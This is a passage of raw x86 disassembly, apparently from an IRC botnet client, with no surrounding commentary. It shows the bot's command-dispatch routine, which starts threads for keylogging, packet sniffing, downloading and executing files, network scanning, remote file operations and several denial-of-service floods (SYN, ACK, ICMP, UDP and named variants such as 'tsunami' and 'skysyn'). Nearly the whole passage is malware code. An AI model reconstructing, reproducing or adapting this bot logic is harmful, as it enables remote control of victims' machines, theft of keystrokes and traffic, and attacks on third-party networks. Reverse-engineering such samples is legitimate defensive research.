		jz	loc_409006
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F7B
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F7B
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405CB1
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C77
		push	20h
		call	sub_40B1CF
		test	eax, eax
		pop	ecx
		jle	short loc_405BA5
		push	offset dword_42C908
		jmp	loc_406EB7
; ---------------------------------------------------------------------------


loc_405BA5:				; CODE XREF: sub_401B66+4033j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FE8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F60], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F5C], eax
		jnz	short loc_405BE7
		mov	esi, offset aGxxx_2 ; "#Gxxx"
		push	offset byte_43FE14
		push	esi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BE7
		mov	esi, [ebp+var_88]


loc_405BE7:				; CODE XREF: sub_401B66+4063j
					; sub_401B66+4079j
		push	esi
		lea	eax, [ebp+var_FE4]
		push	80h
		push	eax
		call	sub_41C150
		lea	eax, [ebp+var_2C0]
		push	offset dword_42C8D8
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	20h
		push	eax
		call	sub_40AF8D
		add	esp, 20h
		mov	[ebp+var_F64], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FE8]
		push	ebx
		push	eax
		push	offset sub_41261F
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_F64]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_405C6A
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42C89C
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_405C62:				; CODE XREF: sub_401B66+410Aj
		push	32h
		call	dword_428064	; Sleep


loc_405C6A:				; CODE XREF: sub_401B66+40E9j
		cmp	[ebp+var_F58], ebx
		jz	short loc_405C62
		jmp	loc_406EC5
; ---------------------------------------------------------------------------


loc_405C77:				; CODE XREF: sub_401B66+4023j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406EC5
		push	ebx
		push	20h
		call	sub_40B182
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405CA7
		push	eax
		push	offset dword_42C860
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_405CA7:				; CODE XREF: sub_401B66+4134j
		push	offset dword_42C834
		jmp	loc_406EB7
; ---------------------------------------------------------------------------


loc_405CB1:				; CODE XREF: sub_401B66+400Cj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DFF
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DC5
		push	21h
		call	sub_40B1CF
		test	eax, eax
		pop	ecx
		jle	short loc_405CF3
		push	offset unk_42C80C
		jmp	loc_406EB7
; ---------------------------------------------------------------------------


loc_405CF3:				; CODE XREF: sub_401B66+4181j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E38], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E34], eax
		jnz	short loc_405D35
		mov	esi, offset aGxxx_2 ; "#Gxxx"
		push	offset byte_43FE14
		push	esi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D35
		mov	esi, [ebp+var_88]


loc_405D35:				; CODE XREF: sub_401B66+41B1j
					; sub_401B66+41C7j
		push	esi
		lea	eax, [ebp+var_EBC]
		push	80h
		push	eax
		call	sub_41C150
		lea	eax, [ebp+var_2C0]
		push	offset unk_42C7DC
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	21h
		push	eax
		call	sub_40AF8D
		add	esp, 20h
		mov	[ebp+var_E3C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC0]
		push	ebx
		push	eax
		push	offset sub_412CA4
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_E3C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_405DB8
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C7A0
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_405DB0:				; CODE XREF: sub_401B66+4258j
		push	32h
		call	dword_428064	; Sleep


loc_405DB8:				; CODE XREF: sub_401B66+4237j
		cmp	[ebp+var_E30], ebx
		jz	short loc_405DB0
		jmp	loc_406EC5
; ---------------------------------------------------------------------------


loc_405DC5:				; CODE XREF: sub_401B66+4171j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406EC5
		push	ebx
		push	21h
		call	sub_40B182
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DF5
		push	eax
		push	offset unk_42C760
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_405DF5:				; CODE XREF: sub_401B66+4282j
		push	offset unk_42C72C
		jmp	loc_406EB7
; ---------------------------------------------------------------------------


loc_405DFF:				; CODE XREF: sub_401B66+415Aj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405F87
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C840
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405E75
		push	[ebp+arg_10]
		push	edi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E75
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406EC5
		push	ebx
		push	23h
		call	sub_40B182
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E6B
		push	eax
		push	offset dword_42C6E0
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_405E6B:				; CODE XREF: sub_401B66+42F8j
		push	offset dword_42C6B4
		jmp	loc_406EB7
; ---------------------------------------------------------------------------


loc_405E75:				; CODE XREF: sub_401B66+42C4j
					; sub_401B66+42D3j
		push	23h
		call	sub_40B1CF
		test	eax, eax
		pop	ecx
		jle	short loc_405E8B
		push	offset dword_42C694
		jmp	loc_406EB7
; ---------------------------------------------------------------------------


loc_405E8B:				; CODE XREF: sub_401B66+4319j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C58], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD0], eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405EB8
		mov	[ebp+var_BCC], 1
		jmp	short loc_405EC1
; ---------------------------------------------------------------------------


loc_405EB8:				; CODE XREF: sub_401B66+4344j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BCC], eax


loc_405EC1:				; CODE XREF: sub_401B66+4350j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405EE8
		mov	esi, offset aGxxx_1 ; "#Gxxx"
		push	offset byte_43FE14
		push	esi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405EE8
		mov	esi, [ebp+var_88]


loc_405EE8:				; CODE XREF: sub_401B66+4364j
					; sub_401B66+437Aj
		push	esi
		lea	eax, [ebp+var_C50]
		push	80h
		push	eax
		call	sub_41C150
		lea	eax, [ebp+var_2C0]
		push	offset dword_42C670
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	23h
		push	eax
		call	sub_40AF8D
		add	esp, 20h
		mov	[ebp+var_C54], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C58]
		push	ebx
		push	eax
		push	offset sub_41234A
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_C54]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_405F7A
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42C634


loc_405F5E:				; CODE XREF: sub_401B66+205Aj
					; sub_401B66+2E8Bj ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41C056


loc_405F6A:				; CODE XREF: sub_401B66+2E80j
					; sub_401B66+54AAj
		add	esp, 0Ch
		jmp	loc_406EC5
; ---------------------------------------------------------------------------


loc_405F72:				; CODE XREF: sub_401B66+441Aj
		push	32h
		call	dword_428064	; Sleep


loc_405F7A:				; CODE XREF: sub_401B66+43EAj
		cmp	[ebp+var_BC8], ebx
		jz	short loc_405F72
		jmp	loc_406EC5
; ---------------------------------------------------------------------------


loc_405F87:				; CODE XREF: sub_401B66+42A8j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40622E
		cmp	dword_4CDD30, ebx
		jz	short loc_405FB6
		cmp	dword_4CDD58, ebx
		jz	short loc_405FB6
		push	offset unk_42C5F8
		jmp	loc_40621B
; ---------------------------------------------------------------------------


loc_405FB6:				; CODE XREF: sub_401B66+443Cj
					; sub_401B66+4444j
		cmp	[ebp+var_C], ebx
		jz	loc_406C9B
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_405FDB
		push	edi
		push	[ebp+var_C]
		call	sub_41C0D0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405FDB:				; CODE XREF: sub_401B66+4465j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406048
		cmp	edi, ebx
		jz	short loc_406016
		push	[ebp+arg_0]
		push	3


loc_405FF7:				; CODE XREF: sub_401B66+44FAj
					; sub_401B66+4514j ...
		call	sub_418E93
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C056
		add	esp, 14h
		jmp	loc_406C9B
; ---------------------------------------------------------------------------


loc_406016:				; CODE XREF: sub_401B66+448Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41913A
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_40603E
		push	offset unk_42C5CC
		jmp	loc_406221
; ---------------------------------------------------------------------------


loc_40603E:				; CODE XREF: sub_401B66+44CCj
		push	offset unk_42C5AC
		jmp	loc_406221
; ---------------------------------------------------------------------------


loc_406048:				; CODE XREF: sub_401B66+4486j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406062
		push	[ebp+arg_0]
		push	4
		jmp	short loc_405FF7
; ---------------------------------------------------------------------------


loc_406062:				; CODE XREF: sub_401B66+44F3j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40607F
		push	[ebp+arg_0]
		push	5
		jmp	loc_405FF7
; ---------------------------------------------------------------------------


loc_40607F:				; CODE XREF: sub_401B66+450Dj
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609C
		push	[ebp+arg_0]
		push	6
		jmp	loc_405FF7
; ---------------------------------------------------------------------------


loc_40609C:				; CODE XREF: sub_401B66+452Aj
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060B9
		push	[ebp+arg_0]
		push	1
		jmp	loc_405FF7
; ---------------------------------------------------------------------------


loc_4060B9:				; CODE XREF: sub_401B66+4547j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406139
		cmp	edi, ebx
		jz	short loc_406106
		cmp	[ebp+var_8F8], bl
		jz	short loc_4060DE
		push	ebx
		push	edi
		push	1
		jmp	short loc_4060E7
; ---------------------------------------------------------------------------


loc_4060DE:				; CODE XREF: sub_401B66+4570j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_4060E7:				; CODE XREF: sub_401B66+4576j
		call	sub_41927A
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C056
		add	esp, 18h
		jmp	loc_406C9B
; ---------------------------------------------------------------------------


loc_406106:				; CODE XREF: sub_401B66+4568j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41946F
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_40612F
		push	offset unk_42C564
		jmp	loc_406221
; ---------------------------------------------------------------------------


loc_40612F:				; CODE XREF: sub_401B66+45BDj
		push	offset unk_42C544
		jmp	loc_406221
; ---------------------------------------------------------------------------


loc_406139:				; CODE XREF: sub_401B66+4564j
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4061CA
		cmp	edi, ebx
		jz	short loc_40619D
		push	[ebp+var_4]
		cmp	[ebp+var_8F8], bl
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_40616A
		push	ebx
		push	edi
		push	1
		jmp	short loc_40617E
; ---------------------------------------------------------------------------


loc_40616A:				; CODE XREF: sub_401B66+45FCj
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_40617A
		push	esi
		push	edi
		push	ebx
		jmp	short loc_40617E
; ---------------------------------------------------------------------------


loc_40617A:				; CODE XREF: sub_401B66+460Dj
		push	ebx
		push	edi
		push	2


loc_40617E:				; CODE XREF: sub_401B66+4602j
					; sub_401B66+4612j
		call	sub_419590
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C056
		add	esp, 24h
		jmp	loc_406C9B
; ---------------------------------------------------------------------------


loc_40619D:				; CODE XREF: sub_401B66+45E8j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419AA4
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_4061C3
		push	offset unk_42C524
		jmp	short loc_406221
; ---------------------------------------------------------------------------


loc_4061C3:				; CODE XREF: sub_401B66+4654j
		push	offset unk_42C504
		jmp	short loc_406221
; ---------------------------------------------------------------------------


loc_4061CA:				; CODE XREF: sub_401B66+45E4j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406216
		cmp	edi, ebx
		jz	short loc_40620F
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419D4E
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C056
		add	esp, 1Ch
		jmp	loc_406C9B
; ---------------------------------------------------------------------------


loc_40620F:				; CODE XREF: sub_401B66+4679j
		push	offset unk_42C4D8
		jmp	short loc_40621B
; ---------------------------------------------------------------------------


loc_406216:				; CODE XREF: sub_401B66+4675j
		push	offset unk_42C4BC


loc_40621B:				; CODE XREF: sub_401B66+2E2Bj
					; sub_401B66+444Bj ...
		lea	eax, [ebp+var_2C0]


loc_406221:				; CODE XREF: sub_401B66+44D3j
					; sub_401B66+44DDj ...
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx
		jmp	loc_406C9B
; ---------------------------------------------------------------------------


loc_40622E:				; CODE XREF: sub_401B66+4430j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D37
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D37
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C53
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C53


loc_406282:				; CODE XREF: sub_401B66+3C5Ej
					; sub_401B66+3C8Dj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401F9E
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C36
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C36
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF5
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF5
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B9B
		push	[ebp+arg_8]
		push	offset dword_42CBB8
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B9B
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B29
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B29
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AC5
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AC5
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A87
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A87
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A1B
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A1B
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408998
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408998
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40892B
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40892B
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408905
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408905
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088A1
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088A1
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087A9
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087A9
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086D8
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086D8
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408613
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408613
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408576
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408576
		push	[ebp+arg_8]
		push	offset aUpdate909 ; "update909"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083FA
		push	[ebp+arg_8]
		push	offset aUp909	; "up909"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083FA
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408361
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408361
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408255
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408255
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408204
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408204
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40810A
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40810A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F9E
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408023
		push	[ebp+arg_8]
		push	offset aC_0	; "c"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408023
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F12
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F12
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F12
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406794
		push	7Fh
		lea	eax, [ebp+var_348C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_340C]
		push	edi
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_338C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_330C]
		push	[ebp+var_88]
		push	eax
		call	sub_41BDC0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3284],	eax
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	13h
		push	eax
		mov	[ebp+var_3288],	edi
		mov	[ebp+var_3490],	esi
		call	sub_40AF8D
		add	esp, 3Ch
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3490]
		push	ebx
		push	eax
		push	offset sub_414CD8
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_328C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_406787
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C32C
		jmp	loc_403E6C
; ---------------------------------------------------------------------------


loc_40677F:				; CODE XREF: sub_401B66+4C27j
		push	32h
		call	dword_428064	; Sleep


loc_406787:				; CODE XREF: sub_401B66+4C06j
		cmp	[ebp+var_3280],	ebx
		jz	short loc_40677F
		jmp	loc_403E7B
; ---------------------------------------------------------------------------


loc_406794:				; CODE XREF: sub_401B66+4B5Cj
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E2B
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E2B
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4068C0
		push	7Fh
		lea	eax, [ebp+var_3064]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_2FE4]
		push	edi
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_2F64]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_2EE4]
		push	[ebp+var_88]
		push	eax
		call	sub_41BDC0
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E60],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2E5C],	eax
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_3068],	esi
		push	offset dword_42C2E4
		push	eax
		call	sub_41C056
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	10h
		push	eax
		call	sub_40AF8D
		add	esp, 0Ch
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3068]
		push	ebx
		push	eax
		push	offset sub_413C53
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_2E64]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_4068B3
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42C2A8
		jmp	loc_407FF0
; ---------------------------------------------------------------------------


loc_4068AB:				; CODE XREF: sub_401B66+4D53j
		push	32h
		call	dword_428064	; Sleep


loc_4068B3:				; CODE XREF: sub_401B66+4D32j
		cmp	[ebp+var_2E58],	ebx
		jz	short loc_4068AB
		jmp	loc_407FFF
; ---------------------------------------------------------------------------


loc_4068C0:				; CODE XREF: sub_401B66+4C6Dj
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D44
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D44
		push	[ebp+arg_8]
		push	offset aDownload909 ; "download909"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C0A
		push	[ebp+arg_8]
		push	offset aD1909	; "d1909"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C0A
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B11
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B11
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A1F
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
